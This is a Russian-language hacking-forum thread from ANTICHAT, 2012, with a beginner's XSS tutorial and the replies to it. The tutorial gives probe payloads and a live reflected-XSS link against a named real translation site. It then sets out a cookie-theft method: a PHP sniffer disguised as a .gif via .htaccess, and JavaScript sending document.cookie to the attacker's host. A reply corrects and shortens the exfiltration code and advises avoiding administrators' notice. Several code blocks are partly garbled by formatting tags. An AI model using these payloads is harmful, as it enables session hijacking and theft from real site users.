HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 09.03.2012, 15:30
mr.Penguin
Познающий
Регистрация: 08.03.2012
Сообщений: 40
С нами: 7463126

Репутация: 74
По умолчанию

XSS. Межсайтовый скриптинг

Моя первая статья, Автор: mr.Penguin

Вступление

XSS - тип уязвимости, позволяющий вставить произвольный JavaScript код в тело страницы сайта.

XSS расшифровывается как Cross Site Scripting. Для термина используют сокращение "XSS", чтобы не было путаницы с "CSS" (каскадные таблицы стилей - приминяются в оформлении страницы сайта).

Для чего служит?

XSS служит для атаки пользователей, просматривающих зараженную страницу.

Чаще всего, данную уязвимость используют для кражи cookies (применяется для сохранения данных на стороне юзера) у пользователя.

Виды XSS Уязвимостей

Типы уязвимостей делятся на два вида.

#1 Активная XSS.

Данный тип уязвимости хранится на сервере, и срабатывает в браузере жертвы при открытии какой-либо страницы зараженного сайта.

Чаще всего, активную XSS можно встретить в чатах/блогах/новостных лентах/комментариях.

#2 Пассивная XSS.

Пассивная XSS-атака получается при конкретном запросе к скрипту. Параметры передаются через GET и POST запросы.

В отличие от POST запроса, с GET`ом намного проще. На мой взгяд, пассивные xss - самые неудобные уязвимости для осуществления атаки на сайте.

XSS на примере

Чтобы найти пассивную XSS на сайте, достаточно подставить в форму ввода следующий код:

Код:
alert('xss')
Если скрипт сработал и у вас вылезло окно с текстом "xss", то пассивная XSS уязвимость присутствует на сайте. Если у вас ничего не получилось, то не расстраивайтесь - можно попробовать и такой код:

Код:
">alert('xss')
Если ни один из представленных кодов не сработал, то скорее всего уязвимость отсутствует на сайте.

Рассмотрим на примере работу пассивной XSS.

Давайте зайдем на какой-нибудь сайт и найдем там поиск. Параметры передаются через GET запрос.

В форму ввода пишем

Код:
">alert('xss')
и нажимаем кнопку "Найти. В адресной строке у нас должно получится что-то вроде этого:

Код:
http://site.ru/search.php?q=">alert('xss')
Если на сайте отсутствует фильтрация HTML-тегов, то у вас должно выскочить окно с текстом "xss", если окна нет, то пассивная xss на сайте отсутствует.

Вот готовый пример пассивной XSS на Online-переводчике -

Код:
http://www.translate.ru/siteTranslation/autolink/?direction=ar&template=General&sourceURL=">alert('xss')
Использование XSS для кражи cookies пользователя

Для того, чтобы украсть cookies пользователя, нам понадобиться онлайн-сниффер. Его можно найти в интернете, но можно использовать и свой.

Нам понадобиться два файла:

1) file.php - В нем и будет находится наш снифер

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
2) file.txt - файл, который будет записывать все данные с нашего сниффера.

Можно поменять расширение "php" на "gif", чтобы наш скрипт не вызывал никаких подозрений. Тут нам поможет ".htaccess", в котором мы пропишем следующее:

Код:
AddType application/x-httpd-php .gif
img= new Image();
img.src="www.site.ru/ваше_название.gif?"+document.cookie
Вот и всё. По идее, в наш файл "file.txt" должны прийти кукисы пользователя.

Если у вас возникли вопросы по данной уязвимости или у вас не получается что-либо реализовать, то пишите в эту тему, я с радостью отвечу и помогу вам разобраться во всем.

Спасибо за внимание.

P.S. Не забывайте про фильтрацию HTML-тегов. Различные способы вставки JavaScript кода вы можете посмотреть здесь.

P.S2 Статья будет дополняться.

Вторая часть статьи: Проводим XSS через POST
 
Ответить с цитированием

  #2  
Старый 09.03.2012, 15:46
Osstudio
Постоянный
Регистрация: 17.04.2011
Сообщений: 638
С нами: 7932566

Репутация: 81


По умолчанию

Таких статей море, ничего нового =(
 
Ответить с цитированием

  #3  
Старый 09.03.2012, 15:57
mr.Penguin
Познающий
Регистрация: 08.03.2012
Сообщений: 40
С нами: 7463126

Репутация: 74
По умолчанию

Цитата:
Сообщение от Osstudio  
Таких статей море, ничего нового =(
Эта статья рассчитана на новичков.

Я владею достаточной информацией про данный тип уязвимости, но решил написать всего лишь представление об этой уязвимости. Именно поэтому в конце написал "Если у вас возникли вопросы по данной уязвимости или у вас не получается что-либо реализовать, то пишите в эту тему, я с радостью отвечу и помогу вам разобраться во всем.", а это значит - постараюсь ответить на вопрос пользователя и может быть, Вы или кто-то другой узнает что-то новое.
 
Ответить с цитированием

  #4  
Старый 09.03.2012, 16:10
Ereee
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами: 7604246

Репутация: 267


По умолчанию

Регистрация: 08.03.2012

Человек, который зарегистрировался только, чтобы написать статью, поделится знаниями! Браво =)
 
Ответить с цитированием

  #5  
Старый 09.03.2012, 17:47
Osstudio
Постоянный
Регистрация: 17.04.2011
Сообщений: 638
С нами: 7932566

Репутация: 81


По умолчанию

Цитата:
Сообщение от mr.Penguin  
Эта статья рассчитана на новичков.
Я владею достаточной информацией про данный тип уязвимости, но решил написать всего лишь представление об этой уязвимости. Именно поэтому в конце написал "Если у вас возникли вопросы по данной уязвимости или у вас не получается что-либо реализовать, то пишите в эту тему, я с радостью отвечу и помогу вам разобраться во всем.", а это значит - постараюсь ответить на вопрос пользователя и может быть, Вы или кто-то другой узнает что-то новое.
Таких статей для новичков и где люди пишут в конце "Если у вас возникли вопросы по данной уязвимости или у вас не получается что-либо реализовать, то пишите в эту тему, я с радостью отвечу и помогу вам разобраться во всем." МОРЕ! Так понятней?
 
Ответить с цитированием

  #6  
Старый 09.03.2012, 20:15
satana8920
Постоянный
Регистрация: 22.09.2006
Сообщений: 531
С нами: 10333826

Репутация: 369


По умолчанию

а че ни слова не написал про обход фильрации при проведении атаки? проблема весьма актуальная. Выложил бы софт по проведению данной атаки для упрощения и автоматиизации процесса. Доведи до ума Статью если хочешь похвалы!
 
Ответить с цитированием

  #7  
Старый 09.03.2012, 20:44
OxoTnik
Постоянный
Регистрация: 10.06.2011
Сообщений: 939
С нами: 7854806

Репутация: 173


По умолчанию

Цитата:
Сообщение от satana8920  
Выложил бы софт по проведению данной атаки для упрощения и автоматиизации процесса.
Софт? какой ещё софт сам расскажи что то интересно прям стало))
 
Ответить с цитированием

  #8  
Старый 09.03.2012, 21:11
mr.Penguin
Познающий
Регистрация: 08.03.2012
Сообщений: 40
С нами: 7463126

Репутация: 74
По умолчанию

Цитата:
Сообщение от Osstudio  
Таких статей для новичков и где люди пишут в конце "Если у вас возникли вопросы по данной уязвимости или у вас не получается что-либо реализовать, то пишите в эту тему, я с радостью отвечу и помогу вам разобраться во всем." МОРЕ! Так понятней?
Ну вот и еще одна появилась. Я думаю, что никто не против. Пусть люди задают вопросы по XSS, глядишь и Вы что-нибудь новенькое узнаете (как я понимаю, Вы не гуру в XSS - в одной теме ваше сообщение видел).

Цитата:
Сообщение от satana8920  
а че ни слова не написал про обход фильрации при проведении атаки? проблема весьма актуальная. Выложил бы софт по проведению данной атаки для упрощения и автоматиизации процесса. Доведи до ума Статью если хочешь похвалы!
Согласен, проблема весьма актуальная - поэтому совсем скоро начну писать вторую часть статьи, где Вы подробно сможете прочесть про фильтрацию. А насчет софта - думаю, что это лишнее. Ведь приятнее делать все своими руками.
 
Ответить с цитированием

  #9  
Старый 09.03.2012, 21:18
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

Основные замечания по статье:

XSS делятся не на два типа, а на три:

1) Активные (хранимые)

2) Пассивные (отраженные)

3) DOM-based

Указанные векторы атак не подходят для надежной проверки на XSS-уязвимость. Желательно проверять вручную на фильтрацию определенных символов (в зависимости от места вывода), чтобы не вызвать подозрения у администрации сайта. В крайнем случае, можно использовать универсальные векторы XSS (где их найти, спросите у гугла)

Кража сессии - не единственная возможность XSS (чтение данных со страниц сайта, выполнение запросов, доступ к локальному хранилищу, базам данных)

Не написано о практической эксплуатации пассивных XSS (прямой переход по ссылке, шифрование, сокращение, скрытые фреймы)

Это неправильно:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]img[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Image[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]img[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"www.site.ru/ваше_название.gif?"[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]cookie[/COLOR][/COLOR
www.site.ru будет восприниматься как директория относительно текущей.

Никаких действий с объектом img в дальнейшем не производится, поэтому можно сократить код так:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"](new[/COLOR][COLOR="#0000BB"]Image[/COLOR][COLOR="#007700"]()).[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'//www.site.ru/ваше_название.gif?'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]cookie[/COLOR][/COLOR
или с явным указанием протокола:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"](new[/COLOR][COLOR="#0000BB"]Image[/COLOR][COLOR="#007700"]()).[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://www.site.ru/ваше_название.gif?'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]cookie[/COLOR][/COLOR
Непонятно, зачем менять расширение на .gif php-скрипту, сохраняющему куки.
 
Ответить с цитированием

  #10  
Старый 09.03.2012, 21:37
mr.Penguin
Познающий
Регистрация: 08.03.2012
Сообщений: 40
С нами: 7463126

Репутация: 74
По умолчанию

M_script, согласен. Но я решил написать о двух основных типах XSS.

Код:
Указанные векторы атак не подходят для надежной проверки на XSS-уязвимость. Желательно проверять вручную на фильтрацию определенных символов (в зависимости от места вывода), чтобы не вызвать подозрения у администрации сайта. В крайнем случае, можно использовать универсальные векторы XSS (где их найти, спросите у гугла)
И тут я полностью согласен, но я думаю, что это простительно. Все-таки первая статья

В следующий раз постараюсь написать всё внятней.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...
×

ESCROW ADMIN PANEL

Загрузка...
Загрузка...